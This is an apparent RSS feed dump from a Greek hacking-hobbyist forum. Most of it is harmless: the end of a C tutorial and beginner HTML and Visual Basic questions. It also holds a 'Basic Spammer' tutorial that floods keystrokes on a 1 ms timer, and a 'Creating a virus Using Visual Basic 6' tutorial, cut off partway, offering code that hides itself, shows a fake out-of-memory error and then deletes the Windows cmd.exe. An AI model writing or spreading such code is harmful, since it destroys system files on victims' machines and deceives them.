/>printf&#40;&#34;His hair colour is %s and his height is %f cm&#34;,<br />mark.haircolor, mark.height&#41;;<br />getchar&#40;&#41;;<br />}<!--c2--></div><!--ec2--><br />---- [ struct.c ] ----<br />---- [ output ] ----<br />---- [ output ] ----<br />NOTE:<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->struct information {<br />blabla<br />};<br />struct information mark;<!--c2--></div><!--ec2--><br />είναι το ίδιο με<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->struct information {<br />blabla<br />} mark;<!--c2--></div><!--ec2--><br /><br /><br />######################################<br />07 - Functions<br />######################################<br />Τα έχουμε χρησιμοποιήσει αρκετές φορες. Ένα function είναι για<br />παράδειγμα το strlen() η το fopen() η το main(). Επίσης έχουμε<br />χρησιμοποιήσει την τιμή που γυρνάνε για να δούμε αν τελειωσαν<br />επιτυχώς η όχι. Αλλα τώρα ίσως να αναρωτιέστε "Είναι δυνατόν να γράψω τα<br />δικά μου functions?" Φυσικά και μπορείτε. Πρέπει να τα κάνετε declare όπως<br />και τα variables, να γράψετε τι θέλετε να κάνουνε μέσα στο body τους και να τα<br />χρησιμοποιήσετε στην main() (function call)<br />Ένα παράδειγμα:<br />---- [ add.c ] ----<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->#include &#60;stdio.h&#62;<br />int add&#40;int a, int B&#41; {<br />return a + b;<br />}<br />main&#40;&#41; {<br />int a, b;<br />printf&#40;&#34;Tell me a number&#58; &#34;&#41;;<br />scanf&#40;&#34;%d&#34;, &a&#41;;<br />printf&#40;&#34;Tell me another one&#58; &#34;&#41;;<br />scanf&#40;&#34;%d&#34;, &b&#41;;<br />printf&#40;&#34;%d + %d == %d&#092;n&#34;, a, b, add&#40;a, B&#41;&#41;;<br />}<!--c2--></div><!--ec2--><br />---- [ add.c ] ----<br />---- [ output ] ----<br />---- [ output ] ----<br />---- [ function.c ] ----<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->#include &#60;stdio.h&#62;<br />#include &#60;string.h&#62;<br />void myfunction&#40;char *str&#41; {<br />int i = 0;<br />while&#40;i &#60; strlen&#40;str&#41;&#41; {<br />str&#91;i&#93; += 1;<br />i++;<br />}<br />}<br />void main&#40;&#41; {<br />char example&#91;&#93; = &#34;aabbcc&#34;;<br />printf&#40;&#34;Our string before&#58; %s&#092;n&#34;, example&#41;;<br />myfunction&#40;example&#41;;<br />printf&#40;&#34;Our string after&#58; %s&#092;n&#34;, example&#41;;<br />}<!--c2--></div><!--ec2--><br />---- [ function.c ] ----<br />---- [ output ] ----<br />---- [ output ] ----<br />Το function αυτό (όπως και ο πιο πόλις κώδικας σε αυτό το tutorial)<br />μπορεί να γραφτεί πολύ καλύτερα.<br />Παράδειγμα:<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->void myfunction&#40;char *str&#41; {<br />int i = strlen&#40;str&#41;;<br />while&#40;--i + 1&#41;<br />++str&#91;i&#93;;<br />}<!--c2--></div><!--ec2--><br /><br /><br />######################################<br />08 - Reference<br />######################################<br />- stdio.h<br />printf formatted output to stdout<br />fprintf formatted output to file<br />scanf formatted input from stdin<br />fscanf formatted input from file<br />fgetc get next char from file<br />fopen open a file<br />fread read a file<br />fwrite write to a file<br />fclose close a file handle<br />fseek positions the position indicator<br />ftell returns the location of the position indicator<br />rewind puts the position indicator back to start of file<br />feof checks for EOF in a file<br />- string.h<br />strlen returns the length of the string<br />strcmp compares two strings<br />strcat concatenate two strings<br />strstr checks if a string is inside another (eg strstr("test", "es"))<br />strcpy copys a string to an array<br />memset sets the specified char for the specified number of elements<br />(eg memset(buffer, 'a', 20) // now the 20 first elements of buffer is a)<br />- limits.h<br />// totally ripped from cplusplus.com<br />CHAR_BIT Number of bits for a char object (byte)<br />SCHAR_MINMinimum value for an object of type signed char<br />SCHAR_MAX Maximum value for an object of type signed char<br />UCHAR_MAX Maximum value for an object of type unsigned char<br />CHAR_MIN Minimum value for an object of type char<br />CHAR_MAX Maximum value for an object of type char<br />MB_LEN_MAX Maximum number of bytes in a multibyte character, for any locale<br />SHRT_MIN Minimum value for an object of type short int<br />SHRT_MAX Maximum value for an object of type short int<br />USHRT_MAX Maximum value for an object of type unsigned short int<br />INT_MIN Minimum value for an object of type int<br />INT_MAX Maximum value for an object of type int<br />UINT_MAX Maximum value for an object of type unsigned short int<br />LONG_MIN Minimum value for an object of type int<br />LONG_MAX Maximum value for an object of type int<br />ULONG_MAX Maximum value for an object of type unsigned int<br /><br /><br />######################################<br />09 - Tips and Tricks<br />######################################<br />- Να προσέχετε το NULL terminator στα arrays<br />- Ποτε μην ξεχνάτε να κλείσετε ένα ανοιχτό αρχείο<br />- Μην φτιάχνεται τα δικά σας function αν υπάρχουν ήδη functions που κάνουν αυτό που θέλετε.<br />- Να θυμάστε: ο καλός κώδικας είναι ο κώδικας που<br />1. Είναι γρήγορος<br />2. Είναι μικρός<br />3. Διαβάζετε εύκολα<br />4. Είναι secure<br />- Να γράφετε όσο πιο πολύ κώδικα μπορείτε!! Practice is perfection<br />- Προσπαθήστε να καταλάβετε όλο τον κώδικα γραμμένο σε αυτό το tutorial<br />και προσπαθήστε να γράψετε τον δικό σας κώδικα παρόμοιο με τον δικό μου (για πρακτική)<br />ύστερα προσπαθήστε να γράψετε κάτι τελείως καινούργιο.<br /><br /><br />######################################<br />10 - Useful Links<br />######################################<br /><a href="http://gnu.gcc.org/" target="_blank">http://gnu.gcc.org/</a><br /><a href="http://www.bloodshed.net/devcpp.html" target="_blank">http://www.bloodshed.net/devcpp.html</a><br /><a href="http://phr0z.by.ru/" target="_blank">http://phr0z.by.ru/</a><br /><a href="http://www.cplusplus.com/" target="_blank">http://www.cplusplus.com/</a><br /><a href="http://www.cprogramming.com/" target="_blank">http://www.cprogramming.com/</a><br /><br /><br />######################################<br />11 - Outro<br />######################################<br />Το tutorial αυτό γράφτηκε με πολύ μεράκι χρησιμοποιώντας<br />το SciTE και το OpenOffice.<br />Πρωτοδημοσιεύθηκε στο <a href="http://www.secfreaks.gr/" target="_blank">http://www.secfreaks.gr/</a><br />Επικοινωνία:<br />phr0z.el8@gmail.com<br />[phr0z]$ date<br />Sun Jan 30 13:37:30 EET 2007<br />what is love?<br />baby don't hurt me..<br />don't hurt me..<br />no more<br />-phr0z<br />[ 0xE0F ]]]></description>
		<pubDate>Tue, 09 Jun 2009 02:38:51 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=890</guid>
	</item>
	<item>
		<title>Help Lg</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=2909</link>
		<description><![CDATA[Smr,arxisa na ftiaxno ena website...me to webs.com <img src="http://www.hackeruniversity.gr/forum/style_emoticons/default/tongue.gif" style="vertical-align:middle" emoid=":P" border="0" alt="tongue.gif" /> <br />kai epeidi dn 3ero pola me html....8elo ligo voi8eia...<br />tora kalitero 8a itan na rotisi ton sab0taz..alla eipa na to valo edo gia na doun tin apantisi,,,<br />kai alla meloi<br />loipon:<br />an pate stin selida tou sab0taz <a href="http://overdose.gr/index1.html" target="_blank">overdose</a> sta downloads..kai patisete p.x. pano stin toolbar.8a sas vgalei se mia alli selida...pos mporo na to kano kai ego auto <img src="http://www.hackeruniversity.gr/forum/style_emoticons/default/tongue.gif" style="vertical-align:middle" emoid=":P" border="0" alt="tongue.gif" /> ?]]></description>
		<pubDate>Sat, 26 Jun 2010 12:58:25 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=2909</guid>
	</item>
	<item>
		<title><![CDATA[[Tut]File Deleter]]></title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=2904</link>
		<description><![CDATA[Loipon eftiaxa ena videaki...Me 8ema pos na ftiaxete enan file deleter..<br /><br /><a href="http://www.youtube.com/watch?v=0A9SN9gA3nk" target="_blank">Deite Edo</a><br /><br />mono mou antimetopisa ena problem sto telos tou video xD <img src="http://www.hackeruniversity.gr/forum/style_emoticons/default/tongue.gif" style="vertical-align:middle" emoid=":P" border="0" alt="tongue.gif" /> <br />alla mia xara..nomizo pos einai oreo kai eukolo tutorial...]]></description>
		<pubDate>Thu, 24 Jun 2010 18:03:03 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=2904</guid>
	</item>
	<item>
		<title>Picture Link Help</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=2891</link>
		<description><![CDATA[Loipon,<br />Pos mporo na ftiaxo ena picture link..kati san to link label pou otan patas pano se vgazei se mia istoselida..ego 8elo na ftiaxo mia eikona pou otan patas pano na se vgaazei se mia istoselida?]]></description>
		<pubDate>Sun, 20 Jun 2010 22:45:36 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=2891</guid>
	</item>
	<item>
		<title>Πώς κάνουμε μια σελίδα να καλεί αυτόματα μια άλλη (redirection)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=869</link>
		<description><![CDATA[Πολλές φορές μια δημοφιλής σελίδα πρέπει να αλλάξει URL. Σε αυτή την περίπτωση, συνήθως στο παλιό URL μπαίνει μια μικρή ανακοίνωση που λέει πως η διεύθυνση έχει αλλάξει και προτρέπει τον αναγνώστη να κάνει κλικ στην νέα διεύθυνση.<br />Για να διευκολύνουμε τον επισκέπτη της σελίδας μπορούμε, με πολύ εύκολο τρόπο, να αυτοματοποιήσουμε αυτή τη διαδικασία προσθέτοντας στην οδηγία body την εντολή: onLoad="location.href='http://www.xxxxxx.gr'". Για παράδειγμα: <br /><br /><b>&lt;BODY onLoad="location.href='http://www.xxxxxx.gr'"&gt;</b><br /><br />Αν κάποιος ζητήσει αυτή την σελίδα, τότε αυτή θα φορτωθεί και θα καλέσει αμέσως την σελίδα που βρίσκεται στο <a href="http://www.xxxxxx.gr" target="_blank">http://www.xxxxxx.gr</a>. Η οδηγία λειτουργεί με όλους τους νέους browsers αλλά σας προτείνουμε να προσθέσετε στη σελίδα και ένα κείμενο του τύπου: "Το URL άλλαξε. Αν δεν μεταφερθείτε αυτόματα στη νέα διεύθυνση κάντε κλικ ..." <br /><br /><b><u>Προσοχή!</u></b> Η δυνατότητα αυτή είναι αρκετά χρήσιμη αλλά καλό είναι να μη το παρακάνουμε. Πολλές φορές εκνευρίζει τους χρήστες διότι αχρηστεύει το πλήκτρο back του browser (Ο επισκέπτης κάνει back και μεταφέρεται στη προηγούμενη σελίδα που όμως είναι η σελίδα του redirection. Έτσι ξαναμεταφέρεται στην σελίδα που ήδη βρίσκεται). &#65279;]]></description>
		<pubDate>Tue, 09 Jun 2009 01:43:46 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=869</guid>
	</item>
	<item>
		<title>Pascal For Windows</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=1782</link>
		<description><![CDATA[Ipa na anoi3w tin enotita me auto to topic.<br />I pascal einai me 32 kai 64 bit compiler.<br /><br />Free Pascal<br /><a href="http://sourceforge.net/projects/freepascal/files/" target="_blank">Download</a><br /><a href="http://sourceforge.net/projects/freepascal/files/Win32/2.4.0/fpc-2.4.0.i386-win32.exe/download?use_mirror=kent" target="_blank">Download</a><br /><br />Turbo Pascal<br /><a href="http://rapidshare.com/files/342061974/TP.zip.html" target="_blank">Download</a><br /><a href="http://www.megaupload.com/?d=LGIVR7C9" target="_blank">Download</a><br /><a href="http://depositfiles.com/en/files/2ih9zgqgr" target="_blank">Download</a><br /><a href="http://hotfile.com/dl/26044501/a95f7c6/TP.zip.html" target="_blank">Download</a><br /><a href="http://uploading.com/files/a893ec6b/TP.zip/" target="_blank">Download</a><br /> <img src="http://www.hackeruniversity.gr/forum/style_emoticons/default/rolleyes.gif" style="vertical-align:middle" emoid=":rolleyes:" border="0" alt="rolleyes.gif" />]]></description>
		<pubDate>Fri, 05 Feb 2010 14:20:19 +0200</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=1782</guid>
	</item>
	<item>
		<title>notepad</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=2863</link>
		<description><![CDATA[Loipon eftiaxa ena notepadaki..pou exei kai enan file deleter...
<br>
username valte:hacker kodiko:uni <img src="http://www.hackeruniversity.gr/forum/style_emoticons/default/laugh.gif" style="vertical-align:middle" emoid=":lol:" border="0" alt="laugh.gif" /><img src="http://www.hackeruniversity.gr/forum/style_emoticons/default/laugh.gif" style="vertical-align:middle" emoid=":lol:" border="0" alt="laugh.gif" /><img src="http://www.hackeruniversity.gr/forum/style_emoticons/default/tongue.gif" style="vertical-align:middle" emoid=":P" border="0" alt="tongue.gif" />
<br>peite m ti leei..an 8elei kapoios na proektinei ligo to project me ton file deleter as m pei na tou to doso....gia na me voi8isete kai ligo.<br>katevaste to apo <a href="http://www.mediafire.com/?mcwijt4mmnd">edo</a> .<br><br><br>


cu:P<br>]]></description>
		<pubDate>Fri, 11 Jun 2010 16:21:24 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=2863</guid>
	</item>
	<item>
		<title>Apo pou na tin katevasw?</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=1745</link>
		<description>Apo p mporw na katevasw tin C/C++?????????</description>
		<pubDate>Sat, 30 Jan 2010 18:02:24 +0200</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=1745</guid>
	</item>
	<item>
		<title>Hack...username kai password help</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=2862</link>
		<description><![CDATA[Ftiaxno ena programataki pou 8a xei mia login screen,sto textbox username na vazeis to username tou forum kai to password tou forum..<br />anti na valo 2 text kai 1 button kai na valo auton ton code:<br /><br />Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click<br />        If TextBox2.Text = "kati" And TextBox1.Text = "kati" Then<br />            Form2.Show()<br />            Me.Hide()<br />        Else<br />            MsgBox("Worng login", , "Error")<br />        End If<br />    End Sub<br /><br />8elo o xristis pou xrisimopoiei to programa na exei egrafei eidi sto hackeruniversity kai na vazei ta stoixeia tou diladi username kai pass..<br />elpizo na me voi8isete <img src="http://www.hackeruniversity.gr/forum/style_emoticons/default/tongue.gif" style="vertical-align:middle" emoid=":P" border="0" alt="tongue.gif" />]]></description>
		<pubDate>Thu, 10 Jun 2010 20:53:04 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=2862</guid>
	</item>
	<item>
		<title><![CDATA[[Tutorial]Basic Spammer]]></title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=2680</link>
		<description><![CDATA[Create a new Project and call it "Basic Spammer"<br /> <br />  Add <br />  - 2 Buttons<br />  - 1 Textbox<br />  - 1 Timer<br />  .<br /> <br />  Name the two Buttons<br />  - Connect<br />  - Disconnect<br /> <br />  Double Click on "Connect"<br />  Type this in<br /><br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->Timer1.Enabled = True<!--c2--></div><!--ec2--><br /><br />Double Click on "Disconnect"<br /><br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->Timer1.Enabled = False<!--c2--></div><!--ec2--><br /><br />Double Click on your timer<br /> <br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->SendKeys.Send&#40;TextBox1.Text&#41;<br />SendKeys.Send&#40;&#34;{Enter}&#34;&#41;<!--c2--></div><!--ec2--><br /><br />Set the Timers Setting to<br />  Enabled= True <br />  Interval= 1<br /> <br />And your done!]]></description>
		<pubDate>Sun, 18 Apr 2010 16:30:51 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=2680</guid>
	</item>
	<item>
		<title>Creating a virus Using Visual Basic 6</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=113</link>
		<description><![CDATA[<i><b><!--fonto:Century Gothic--><span style="font-family:Century Gothic"><!--/fonto--><!--sizeo:3--><span style="font-size:12pt;line-height:100%"><!--/sizeo-->&#935;&#961;&#951;&#963;&#953;&#956;&#959;&#960;&#959;&#953;&#974;&#957;&#964;&#945;&#962; &#964;&#951;&#957; Visual Basic 6.0 &#956;&#960;&#959;&#961;&#949;&#943;&#964;&#949; &#957;&#945; &#948;&#951;&#956;&#953;&#959;&#965;&#961;&#947;&#942;&#963;&#949;&#964;&#949; &#941;&#957;&#945;&#957; &#945;&#960;&#955;&#972; &#953;&#972;.&#931;&#949; &#945;&#965;&#964;&#972; &#964;&#959; tutorial &#952;&#945; &#948;&#959;&#973;&#956;&#949; &#960;&#974;&#962; &#956;&#960;&#959;&#961;&#959;&#973;&#956;&#949; &#957;&#945; &#947;&#961;&#940;&#968;&#959;&#965;&#956;&#949; &#941;&#957;&#945;&#957; &#953;&#972; &#956;&#949; &#956;&#972;&#957;&#959; &#955;&#943;&#947;&#949;&#962; &#947;&#961;&#945;&#956;&#956;&#941;&#962; &#954;&#974;&#948;&#953;&#954;&#945;.&#904;&#957;&#945;&#962; &#953;&#972;&#962; &#956;&#960;&#959;&#961;&#949;&#943; &#957;&#945; &#949;&#943;&#957;&#945;&#953; &#956;&#943;&#945; &#949;&#966;&#945;&#961;&#956;&#959;&#947;&#942; &#960;&#959;&#965; &#948;&#953;&#945;&#947;&#961;&#940;&#966;&#949;&#953; &#945;&#961;&#967;&#949;&#943;&#945; &#956;&#949;&#964;&#940; &#945;&#960;&#972; &#954;&#940;&#960;&#959;&#953;&#959; &#945;&#943;&#964;&#951;&#956;&#945;.<!--sizec--></span><!--/sizec--><!--fontc--></span><!--/fontc--></b></i><!--fonto:Century Gothic--><span style="font-family:Century Gothic"><!--/fonto--><br /><br /><br /><i>&#928;&#961;&#974;&#964;&#945; &#945;&#960;&#972; &#972;&#955;&#945; &#945;&#957;&#959;&#943;&#958;&#964;&#949; &#941;&#957;&#945; Visual Basic project,&#941;&#957;&#945; standard exe file...</i><br /><br />&#932;&#974;&#961;&#945; &#949;&#958;&#945;&#961;&#964;&#940;&#964;&#945;&#953; &#945;&#960;&#972; &#964;&#959; &#960;&#974;&#962; &#952;&#941;&#955;&#949;&#964;&#949; &#949;&#963;&#949;&#943;&#962; &#964;&#959;&#957; &#953;&#972; &#957;&#945; &#948;&#959;&#965;&#955;&#941;&#968;&#949;&#953;.&#917;&#956;&#949;&#943;&#962; &#949;&#948;&#974; &#952;&#945; &#948;&#953;&#945;&#955;&#941;&#958;&#959;&#965;&#956;&#949; &#957;&#945; &#949;&#957;&#949;&#961;&#947;&#959;&#960;&#959;&#953;&#942;&#964;&#945;&#953; &#956;&#972;&#955;&#953;&#962; &#954;&#940;&#960;&#959;&#953;&#959;&#962; &#964;&#961;&#941;&#958;&#949;&#953; &#964;&#951;&#957; &#949;&#966;&#945;&#961;&#956;&#959;&#947;&#942;.&#904;&#964;&#963;&#953; &#959; &#954;&#973;&#961;&#953;&#959;&#962; &#954;&#974;&#948;&#953;&#954;&#945;&#962; &#952;&#945; &#960;&#961;&#941;&#960;&#949;&#953; &#957;&#945; &#949;&#943;&#957;&#945;&#953; &#963;&#964;&#951;&#957; &#966;&#972;&#961;&#956;&#945; load sub.&#931;&#964;&#959; project &#963;&#945;&#962; &#949;&#953;&#963;&#940;&#947;&#949;&#964;&#949; &#941;&#957;&#945; text box,&#941;&#957;&#945; command button &#954;&#945;&#953; &#941;&#957;&#945; timer.&#920;&#945; &#967;&#961;&#951;&#963;&#953;&#956;&#959;&#960;&#959;&#953;&#942;&#963;&#959;&#965;&#956;&#949; &#964;&#959; command button &#954;&#945;&#953; &#964;&#959; timer &#955;&#943;&#947;&#959; &#945;&#961;&#947;&#972;&#964;&#949;&#961;&#945;.<br />&#931;&#964;&#959; project &#963;&#945;&#962; &#949;&#953;&#963;&#940;&#947;&#949;&#964;&#949; &#964;&#959; &#945;&#961;&#967;&#949;&#943;&#959; &#960;&#959;&#965; &#952;&#941;&#955;&#949;&#964;&#949; &#959; &#953;&#972;&#962; &#957;&#945; &#948;&#953;&#945;&#947;&#961;&#940;&#966;&#949;&#953;.&#915;&#953;&#945; &#960;&#945;&#961;&#940;&#948;&#949;&#953;&#947;&#956;&#945; &#945;&#957; &#952;&#941;&#955;&#949;&#964;&#949; &#957;&#945; &#948;&#953;&#945;&#947;&#961;&#940;&#966;&#949;&#953; &#964;&#959; command file &#964;&#972;&#964;&#949; &#960;&#961;&#941;&#960;&#949;&#953; &#957;&#945; &#946;&#940;&#955;&#949;&#964;&#949; &#964;&#959;&#957; &#945;&#954;&#972;&#955;&#959;&#965;&#952;&#959; &#954;&#974;&#948;&#953;&#954;&#945; &#963;&#964;&#951;&#957; &#954;&#945;&#961;&#964;&#941;&#955;&#945; &#964;&#951;&#962; &#966;&#972;&#961;&#956;&#945;&#962; load.<br /><br /><br /><!--coloro:#ff0000--><span style="color:#ff0000"><!--/coloro--><br />Private Sub Form_Load() <br />Text1.Text = "C:/Windows/System32/cmd.exe <br />Kill Text1.Text <br />End Sub <!--colorc--></span><!--/colorc--><br /><br /><br />&#904;&#964;&#963;&#953; &#956;&#972;&#955;&#953;&#962; &#964;&#959; project &#945;&#957;&#959;&#943;&#958;&#949;&#953; &#964;&#959; command file &#952;&#945; &#948;&#953;&#945;&#947;&#961;&#945;&#966;&#949;&#943;.  <br /><br /><br />&#932;&#974;&#961;&#945; &#952;&#945; &#963;&#945;&#962; &#948;&#949;&#943;&#958;&#969; &#941;&#957;&#945; &#960;&#945;&#961;&#940;&#948;&#949;&#953;&#947;&#956;&#945; &#954;&#940;&#957;&#959;&#957;&#964;&#945;&#962; &#945;&#965;&#964;&#972; &#967;&#961;&#951;&#963;&#953;&#956;&#959;&#960;&#959;&#953;&#974;&#957;&#964;&#945;&#962; &#941;&#957;&#945; command button.&#914;&#940;&#955;&#964;&#949; &#964;&#959;&#957; &#945;&#954;&#972;&#955;&#959;&#965;&#952;&#959; &#954;&#974;&#948;&#953;&#954;&#945; &#963;&#964;&#959; command button &#954;&#945;&#953; &#963;&#964;&#951;&#957; &#966;&#972;&#961;&#956;&#945; load.&#924;&#960;&#959;&#961;&#949;&#943;&#964;&#949; &#945;&#954;&#972;&#956;&#945; &#957;&#945; &#948;&#974;&#963;&#949;&#964;&#949; &#972;&#957;&#959;&#956;&#945; &#963;&#964;&#959; text box &#947;&#953;&#945; &#957;&#945; &#964;&#959; &#954;&#940;&#957;&#949;&#964;&#949; &#960;&#953;&#959; &#947;&#961;&#942;&#947;&#959;&#961;&#945;.&#913;&#962; &#960;&#959;&#973;&#956;&#949; &#972;&#964;&#953; &#964;&#959; &#959;&#957;&#959;&#956;&#940;&#950;&#959;&#965;&#956;&#949; 'A' <br /><br /><br /><!--coloro:#ff0000--><span style="color:#ff0000"><!--/coloro-->Private Sub Form_Load() <br />Text1.Text = "C/Windows/System32/cmd.exe" <br />A = Text1.Text <br />End Sub <br /><br /><br /><br />Private Sub Command1_Click <br />Kill A <br />End Sub <!--colorc--></span><!--/colorc--><br /><br /><br /><br />&#932;&#974;&#961;&#945; &#956;&#972;&#955;&#953;&#962; &#952;&#945; &#947;&#943;&#957;&#949;&#964;&#945;&#953; &#954;&#955;&#953;&#954; &#963;&#964;&#959; command button &#964;&#959; command file &#952;&#945; &#948;&#953;&#945;&#947;&#961;&#940;&#966;&#949;&#964;&#945;&#953;.&#932;&#974;&#961;&#945; &#952;&#945; &#967;&#961;&#951;&#963;&#953;&#956;&#959;&#960;&#959;&#953;&#942;&#963;&#959;&#965;&#956;&#949; &#964;&#959; timer &#963;&#949; &#945;&#965;&#964;&#972;.&#913;&#957; &#952;&#941;&#955;&#949;&#964;&#949; &#957;&#945; &#964;&#959; &#945;&#960;&#959;&#954;&#961;&#973;&#968;&#949;&#964;&#949; &#955;&#943;&#947;&#959; &#952;&#945; &#963;&#945;&#962; &#948;&#949;&#943;&#958;&#969; &#941;&#957;&#945;&#957; &#964;&#961;&#972;&#960;&#959; &#957;&#945; &#964;&#959; &#954;&#940;&#957;&#949;&#964;&#949; &#945;&#965;&#964;&#972; &#963;&#964;&#941;&#955;&#957;&#959;&#957;&#964;&#945;&#962; &#941;&#957;&#945; &#968;&#949;&#973;&#964;&#953;&#954;&#959; &#956;&#942;&#957;&#965;&#956;&#945; &#955;&#940;&#952;&#959;&#965;&#962; &#960;&#945;&#961;&#953;&#963;&#964;&#940;&#957;&#959;&#957;&#964;&#945;&#962; &#972;&#964;&#953; &#951; &#949;&#966;&#945;&#961;&#956;&#959;&#947;&#942; &#948;&#949;&#957; &#941;&#967;&#949;&#953; &#945;&#961;&#954;&#949;&#964;&#942; &#956;&#957;&#942;&#956;&#951; &#947;&#953;&#945; &#957;&#945; &#964;&#961;&#941;&#958;&#949;&#953;,&#945;&#955;&#955;&#940; &#964;&#959; &#960;&#961;&#945;&#947;&#956;&#945;&#964;&#953;&#954;&#972; &#947;&#949;&#947;&#959;&#957;&#972;&#962; &#949;&#943;&#957;&#945;&#953; &#972;&#964;&#953; &#964;&#959; &#952;&#973;&#956;&#945; &#948;&#949;&#957; &#958;&#941;&#961;&#949;&#953; &#972;&#964;&#953; &#941;&#967;&#949;&#964;&#949; &#956;&#972;&#955;&#953;&#962; &#948;&#953;&#945;&#947;&#961;&#940;&#968;&#949;&#953; &#964;&#959; command file.<br /><br /><br /><br /><!--coloro:#ff0000--><span style="color:#ff0000"><!--/coloro-->Private Sub Form_Load() <br />Form1.Visible = False <br />Text1.Text = "C:/Windows/System32/cmd.exe" <br />A = Text1.Text <br />Msgbox ("Runtime Error 492. Not Enough Memory."), vbCritical, "Runtime Error" <br />End Sub <br /><br />Private Sub Timer1_Timer() <br />Timer1.Interval = 5000 <br />Kill A <br />Timer1.Enabled = False <br />End Sub <!--colorc--></span><!--/colorc--><br /><br /><br /><br />&#913;&#965;&#964;&#972; &#960;&#959;&#965; &#954;&#940;&#957;&#945;&#956;&#949; &#960;&#945;&#961;&#945;&#960;&#940;&#957;&#969; &#949;&#943;&#957;&#945;&#953; &#972;&#964;&#953; &#954;&#940;&#957;&#945;&#956;&#949; &#964;&#951;&#957; &#966;&#972;&#961;&#956;&#945; &#945;&#972;&#961;&#945;&#964;&#951; &#941;&#964;&#963;&#953; &#974;&#963;&#964;&#949; &#957;&#945; &#966;&#945;&#943;&#957;&#949;&#964;&#945;&#953; &#964;&#959; &#956;&#942;&#957;&#965;&#956;&#945; &#955;&#940;&#952;&#959;&#965;&#962; &#945;&#955;&#951;&#952;&#953;&#957;&#972;.&#904;&#967;&#959;&#965;&#956;&#949; &#946;&#940;&#955;&#949;&#953; &#941;&#957;&#945; interval &#964;&#969;&#957; 5 &#948;&#949;&#965;&#964;&#949;&#961;&#959;&#955;&#941;&#960;&#964;&#969;&#957; &#963;&#964;&#959; timer &#960;&#961;&#953;&#957; &#964;&#959; &#945;&#961;&#967;&#949;&#943;&#959; &#957;&#945; &#948;&#953;&#945;&#947;&#961;&#945;&#966;&#949;&#943; &#954;&#945;&#953; &#941;&#964;&#963;&#953; &#960;&#959;&#955;&#973; &#945;&#960;&#955;&#940; &#956;&#960;&#959;&#961;&#949;&#943; &#957;&#945; &#958;&#949;&#947;&#949;&#955;&#940;&#963;&#949;&#953; &#954;&#940;&#960;&#959;&#953;&#959;&#957;.<br /><br />&#932;&#974;&#961;&#945; &#956;&#960;&#959;&#961;&#959;&#973;&#956;&#949; &#957;&#945; &#964;&#959; &#954;&#940;&#957;&#959;&#965;&#956;&#949; &#955;&#943;&#947;&#959; &#960;&#953;&#959; &#948;&#973;&#963;&#954;&#959;&#955;&#959; &#945;&#957; &#946;&#961;&#943;&#963;&#954;&#949;&#964;&#949; &#964;&#959;&#957; &#960;&#945;&#961;&#945;&#960;&#940;&#957;&#969; &#954;&#974;&#948;&#953;&#954;&#945; &#949;&#973;&#954;&#959;&#955;&#959; &#954;&#945;&#953; &#957;&#945; &#948;&#953;&#941;&#947;&#961;&#945;&#966;&#949; &#960;&#945;&#961;&#945;&#960;&#940;&#957;&#969; &#945;&#960;&#972; &#941;&#957;&#945; &#945;&#961;&#967;&#949;&#943;&#945;.&#913;&#965;&#964;&#942; &#964;&#951;&#957; &#966;&#959;&#961;&#940; &#948;&#949;&#957; &#952;&#945; &#967;&#961;&#951;&#963;&#953;&#956;&#959;&#960;&#959;&#953;&#942;&#963;&#959;&#965;&#956;&#949; timers &#942; command buttons.&#916;&#949;&#957; &#952;&#945; &#967;&#961;&#951;&#963;&#953;&#956;&#959;&#960;&#959;&#953;&#942;&#963;&#959;&#965;&#956;&#949; &#959;&#973;&#964;&#949; text boxes &#947;&#953;&#945;&#964;&#943; &#948;&#949;&#957; &#967;&#961;&#949;&#953;&#940;&#950;&#959;&#957;&#964;&#945;&#953;.&#913;&#960;&#955;&#940; &#954;&#940;&#957;&#964;&#949; &#972;&#964;&#953; &#955;&#941;&#949;&#953; &#959; &#960;&#945;&#961;&#945;&#954;&#940;&#964;&#969; &#954;&#974;&#948;&#953;&#954;&#945;&#962; &#959; &#959;&#960;&#959;&#943;&#959;&#962; &#948;&#949;&#943;&#967;&#957;&#949;&#953; &#960;&#974;&#962; &#957;&#945; &#948;&#953;&#945;&#947;&#961;&#940;&#966;&#949;&#964;&#949; &#945;&#961;&#967;&#949;&#943;&#945; &#972;&#964;&#945;&#957; &#951; &#949;&#966;&#945;&#961;&#956;&#959;&#947;&#942; &#966;&#959;&#961;&#964;&#974;&#957;&#949;&#964;&#945;&#953;.<br /><br /><br />&#904;&#964;&#963;&#953; &#963;&#964;&#951;&#957; &#966;&#972;&#961;&#956;&#945; load &#946;&#940;&#955;&#964;&#949; &#964;&#959;&#957; &#945;&#954;&#972;&#955;&#959;&#965;&#952;&#959; 